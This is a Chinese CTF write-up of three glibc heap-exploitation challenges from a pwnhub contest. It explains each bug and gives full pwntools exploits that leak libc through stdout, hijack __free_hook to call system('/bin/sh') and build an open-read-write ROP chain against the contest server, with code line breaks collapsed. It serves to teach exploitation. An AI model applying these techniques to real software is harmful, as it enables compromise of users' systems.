[pwnhub 2023.3] 内部赛pwn专题
创始人
2024-06-02 03:25:19
0

拿到邀请码进群,但已经不能时光倒流报名了,好在跟群友要来了附件和docker地址,周六干到12点.

比赛一共4题,其中sh_v1.1是公开赛的题,公开赛72小时明天才结束,先保密,明天再在本篇加上.

sh_v1.1

预留位置,明天再放

three_edit

堆题,给了libc-2.31.so 这是libc-2.31-0ubunto9版本,网站上一般都是这个版本,但自己下载不容易.

题目给了3个函数:add,free,edit对堆题来说还少show,没有show的话,一般是爆破stdout。

漏洞:

这种漏洞相对题目少一丁点,在edit里定义n为整形而不是无符号整形,比较时也没有考虑负数,所以在这里可以向前越界。指针区在堆里,前越界时可以越界到tcache。

__int64 m3edit()
{int n; // [rsp+8h] [rbp-8h]dword_4010 = 0;puts("index?");n = read_n();if ( n > 14 || !*(_QWORD *)(8LL * n + v_ptr) )// 前越界 修改tcache{puts("illegal subscript");exit(0);}puts("new content:");read_str(*(_QWORD *)(8LL * n + v_ptr), 0x50uLL);// 固定长度return (unsigned int)--dword_4010;
}

限制:

1,在add里,建块大小为0x50-0x70这样就不能建大块释放得到unsort

  if ( v3 <= 79 || v3 > 112 ){puts("only 0x50-->0x70");exit(0);}

2,前面说的没有show需要爆破半字节得到_IO_2_1_stdout 劫持后得到输出

思路:

1,0x70的块(实际大小0x80)建11块,将来用1-9合起来作个大块释放到unsort

2,释放0和10,在样在tcache里会有一项指向10的指针,经过计算这个偏移是-60,这时修改-60就是修改刚释放的10块的指针(指向0),由于不知道堆地址,这里只修改1字节让他建成chunk与1块头部重叠,可以修改1块的头部得到一个大块,释放进unsort

3,释放刚修改过的1到unsort,再释放2,3,4在tcache里保存一项,然后建块将unsort的指针向后挤,让他落到4块的位置,这样4块的下个指针就有了libc里的地址。在这里建块会与4重叠(4在tcache)修改其实内容会影响到tcache表80的下一项被修改,在本地通过gdb可以得到stdout地址并在此修改,远程通过爆破得到1/16概率。爆破成功就会把块建到_IO_2_1_stdout_上,修改write_end得到含libc地址的输出。libc-2.27一般改成0x58,libc-2.31一般改成0,得到_IO_2_1_stdin_

4,对于这个题来说,难点就在于libc,由于没有其它限制,可以用2步的方向得到_free_hook,然后写/bin/sh\0+system

完整EXP

from pwn import *def connect():#p = process('./pwn4')p = remote('121.40.89.206', 21795)return p context(arch='amd64')
#context.log_level='debug'elf = ELF('./pwn4')
libc = ELF('./libc-2.31.so')menu = b"is:"
def add(idx, size, msg):p.sendlineafter(menu, b'1')p.sendlineafter(b"index:", str(idx).encode())p.sendlineafter(b"size:", str(size).encode())p.sendlineafter(b"content:", msg)def free(idx):p.sendlineafter(menu, b'2')p.sendlineafter(b"index?", str(idx).encode())def edit(idx, msg):p.sendlineafter(menu, b'3')p.sendlineafter(b"index?", str(idx).encode())p.sendlineafter(b"new content:", msg)def pwn():for i in range(11):add(i, 0x70, b'')edit(0, p64(0)*9 + p64(0x81))edit(1, p64(0)*9 + p64(0x31))free(0)free(10)#0x0c0 tcache:0x80 --> 0x2a0:ptr  -60edit(-60, b'\xf0')add(10, 0x70, b'')add(0, 0x70, p64(0)*5 + p64(0x481))for i in [1,2,3,4]:free(i) #1:unsortfor i in [1,2,3,4]:add(i, 0x50, b'')#gdb.attach(p)#pause#0x7f979b4856a0 <_IO_2_1_stdout_>:       0x00000000fbad1887      0x00007f979b485723#lh = int(input('h:'), 16)lh = 3add(12, 0x60, p16(0x6a0+(lh<<12)))add(13, 0x70, b'')add(14, 0x70, p64(0xfbad1800)+p64(0)*3 + p8(0)) #stdout#p.recv()#pause()data = p.recvuntil(b'\x7f', timeout=0.5)if data[-1] != 0x7f:raise('Error')context.log_level='debug'libc.address = u64(data[-6:].ljust(8, b'\x00')) - libc.sym['_IO_2_1_stdin_']print(hex(libc.address))if libc.address & 0xfff != 0:print('error')exit()free(6)free(7)edit(-60, p64(libc.sym['__free_hook'] - 8))add(6, 0x70, b'')add(7, 0x70, b'/bin/sh\0'+ p64(libc.sym['system']))free(7)p.sendline(b'cat flag*')p.recv()p.interactive()while True:try:print('Try...')p = connect()pwn()except KeyboardInterrupt as e:exit()except:p.close()#flag{12awxvpjsd-21aqxw-a3daxdlpsd-987@376hnb}

tototo

同样是堆题,有add,free,edit,show全了

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{int buf; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v4; // [rsp+8h] [rbp-8h]v4 = __readfsqword(0x28u);buf = 0;init_0();set_prctl(a1, a2);while ( 1 ){no_free_hook();menu();read(0, &buf, 4uLL);switch ( atoi((const char *)&buf) ){case 1:m1add();                                // 20个 512-2048  可用10次break;case 2:m2free();break;case 3:m3edit();                               // 不检查mark,UAF 3次break;case 4:m4show();                               // 不检查break;case 5:m5add_calloc();                         // 10次break;default:continue;}}
}

漏洞:

指针区有3项:ptr,size,mark 在建块时设置mark=1删除时置为0,虽然没有清指针,但也没有UAF,不过在edit时没有检查,这导致可以随意对free后的指针修改

int m3edit()
{unsigned int n; // [rsp+Ch] [rbp-4h]if ( !dword_4018 )                            // 3次exit(0);puts("Which one?");n = read_n();if ( n >= 0x15 )return puts("up up down down down?");puts("new content?");read_str(ptr_4260[n] + 9LL, size_4160[n] - 48LL);// ROP 写到read后--dword_4018;return 0;
}

限制:

这题有两个限制,一是删除了__free_hook,并禁用了execve,二是只能建4个块malloc,calloc各最多10次并且修改最多3次。

思路:

一直打free_hook,不让用了还真比较麻烦。于是想到原先见过的_environ,先得到libc再建到environ,这里存的是一个栈地址show可以得到,通过这个地址计算edit函数中调用read时的返回地址,然后将ORW写在这后边。

完整EXP:

from pwn import *#p = process('./tototo')
p = remote('121.40.89.206', 36789)
context(arch='amd64')elf = ELF('./tototo')
libc = ELF('./libc-2.31.so')menu = b'is:'
def add(idx, size):p.sendlineafter(menu, b'1')p.sendlineafter(b"index?\n", str(idx).encode())p.sendlineafter(b"size?\n", str(size).encode())def free(idx):p.sendlineafter(menu, b'2')p.sendlineafter(b"Which one?", str(idx).encode())def edit(idx, msg):p.sendlineafter(menu, b'3')p.sendlineafter(b"Which one?\n", str(idx).encode())p.sendlineafter(b"new content?\n", msg[9:])def show(idx):p.sendlineafter(menu, b'4')p.sendlineafter(b"Which one?\n", str(idx).encode())def add2(idx, size):p.sendlineafter(menu, b'5')p.sendlineafter(b"index?\n", str(idx).encode())p.sendlineafter(b"size?\n", str(size).encode())add2(0, 0x620)
add2(1, 0x200)free(0)
show(0)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(hex(libc.address))add(2, 0x200)
add(3, 0x200)
add(4, 0x200)
free(1)
free(3)
show(3)
heap_base = u64(p.recvline()[:-1].ljust(8, b'\x00'))
print(hex(heap_base))context.log_level='debug'
edit(0, b'\x00'*0x208+p64(0x211)+ p64(libc.sym['_environ']))  #1
add(3, 0x200)
add(5, 0x200)
show(5)
stack = u64(p.recvline()[:-1].ljust(8, b'\x00'))
print(hex(stack))free(4)
free(3)
edit(0, b'\x00'*0x208+p64(0x211)+ p64(stack - 0x120 -0x30))  #2
add(3, 0x200)
add(6, 0x200) ##gdb.attach(p)
#pause()#ORW
pop_rdi = libc.address + 0x0000000000026b72 # pop rdi ; ret
pop_rdx = libc.address + 0x000000000011c371 # pop rdx ; pop r12 ; ret
pop_rsi = libc.address + 0x0000000000027529 # pop rsi ; ret
pop_rax = libc.address + 0x000000000004a550 # pop rax ; ret
syscall = libc.address + 0x0000000000066229orw = [0,0,pop_rdi, 0, pop_rsi, 0, pop_rdx, 0,0, pop_rax,2, syscall, #O 1pop_rdi, 3, pop_rsi, 0, pop_rdx, 0x100,0, pop_rax,0, syscall, #R 13pop_rdi, 1, pop_rax, 1, syscall,                               #Wb'flag.txt',0]
orw[3] = stack - 0x120 -0x30 + (len(orw)-2)*8
orw[15] = orw[3]
edit(6, flat(orw))
print(p.recv(0x100))p.interactive()#flag{1sddeasd-2axxxedw-a3dd23fdasd-a346gasdw}

ttsc

为什么会出现两个打stdout的题呢?

漏洞:

在edit这里边用的read_str时,比较时用>=这样会多写一个字节

unsigned __int64 __fastcall sub_ABF(__int64 a1, unsigned __int64 a2)
{char buf; // [rsp+13h] [rbp-Dh] BYREFint i; // [rsp+14h] [rbp-Ch]unsigned __int64 v5; // [rsp+18h] [rbp-8h]v5 = __readfsqword(0x28u);for ( i = 0; a2 >= i; ++i )                   // 可多写1字节 off_by_one{read(0, &buf, 1uLL);if ( buf == 10 )break;*(_BYTE *)(a1 + i) = buf;}return __readfsqword(0x28u) ^ v5;
}

限制:

这题限制非常讨厌,指针只能存放4个,建块最大0x80,edit只能改2次,2次后就关掉输出。虽然也有题可以摸黑干,但是难度必然会变大,最后在两次干完。

思路:

跟上边题一样,还是弄一堆来凑个大块free,不过由于只有4个指针,每次要建不同大小的块然后释放再建

由于off_by_one只能修改1字节,所以要先作重叠块,然后再由重叠块去修改头

坑:

这题用的libc-2.27同样是劫持_IO_2_1_stdout_ 但在本地调试时尾地址固定是c760,然后远程永远不成功,但改为b760的时候概率明显大于1/16,看来它加载的地址不是完全随机的。

完整EXP:

from pwn import *def connect():#p = process('./ttsc')p = remote('121.40.89.206', 20111)return p context(arch='amd64')
context.log_level='error'elf = ELF('./ttsc')
libc = ELF('/home/kali/glibc/2.27-3u1.6-amd64/libc-2.27.so')menu = b"chs:"
def add(idx, size, msg=b'A\n'):p.sendlineafter(menu, b'1')p.sendlineafter(b"index?\n", str(idx).encode())p.sendlineafter(b"size:\n", str(size).encode())sleep(0.1)p.send(msg)def free(idx):p.sendlineafter(menu, b'2')p.sendlineafter(b"index?\n", str(idx).encode())def edit(idx, msg):p.sendlineafter(menu, b'3')p.sendlineafter(b"index?\n", str(idx).encode())p.sendlineafter(b"content:", msg)def pwn():p.sendafter(b'?\n', b'A'*0x10)p.sendlineafter(b'?\n', b'100')p.sendlineafter(b'?\n', b'100')p.recvuntil(b'A'*0x10)stack = u64(p.recv(6).ljust(8, b'\x00')) - 0x20print(hex(stack))#20,20(30),80*4,70*4,60*4add(0,0x18)add(1,0x18)free(0)free(1)for s in [0x80,0x70,0x60]:for i in range(4):add(i, s-8)for i in [3,2,1,0]:free(i)add(2, 0x78)add(1, 0x18)add(0, 0x18)edit(0, p64(0)*3+p8(0x31)) #1free(1)add(1, 0x28, p64(0)*3+p64(0x481)+ b'\n')free(2)free(0)add(2, 0x38)add(3, 0x38)#gdb.attach(p)#pause()#0x7ff3ed7ec760 <_IO_2_1_stdout_>:       0x00000000fbad2887      0x00007ff3ed7ec7e3#lh = int(input('h:'), 16)lh = 0xb   #本在固定 0xc 远程大概率 0xbadd(0, 0x38, p16(0x760+(lh<<12)) )free(1)free(2)free(3)add(1, 0x78)add(2, 0x78, p64(0xfbad1887)+p64(0)*3+p8(0x58))data = p.recvuntil(b'\x7f', timeout=0.2)if data[-1] != 0x7f:print('Data:',data)raise('Error')libc.address = u64(data+b'\x00'*2) - libc.sym['_IO_file_jumps']print(hex(libc.address))context.log_level = 'debug'#0=1free(0)edit(1, p64(libc.sym['__free_hook']-8))add(0, 0x38)add(3, 0x38, b'/bin/sh\0'+p64(libc.sym['system']))free(3)p.sendline(b'cat flag*')p.recv()p.interactive()while True:try:print('Try...')p = connect()pwn()except KeyboardInterrupt as e:exit()except:p.close()#flag{12sd22222s-213edw-a3aaazcd-ad213dasd2sdw}

相关内容

热门资讯

【NI Multisim 14...   目录 序言 一、工具栏 🍊1.“标准”工具栏 🍊 2.视图工具...
银河麒麟V10SP1高级服务器... 银河麒麟高级服务器操作系统简介: 银河麒麟高级服务器操作系统V10是针对企业级关键业务...
不能访问光猫的的管理页面 光猫是现代家庭宽带网络的重要组成部分,它可以提供高速稳定的网络连接。但是,有时候我们会遇到不能访问光...
AWSECS:访问外部网络时出... 如果您在AWS ECS中部署了应用程序,并且该应用程序需要访问外部网络,但是无法正常访问,可能是因为...
Android|无法访问或保存... 这个问题可能是由于权限设置不正确导致的。您需要在应用程序清单文件中添加以下代码来请求适当的权限:此外...
北信源内网安全管理卸载 北信源内网安全管理是一款网络安全管理软件,主要用于保护内网安全。在日常使用过程中,卸载该软件是一种常...
AWSElasticBeans... 在Dockerfile中手动配置nginx反向代理。例如,在Dockerfile中添加以下代码:FR...
AsusVivobook无法开... 首先,我们可以尝试重置BIOS(Basic Input/Output System)来解决这个问题。...
ASM贪吃蛇游戏-解决错误的问... 要解决ASM贪吃蛇游戏中的错误问题,你可以按照以下步骤进行:首先,确定错误的具体表现和问题所在。在贪...
月入8000+的steam搬砖... 大家好,我是阿阳 今天要给大家介绍的是 steam 游戏搬砖项目,目前...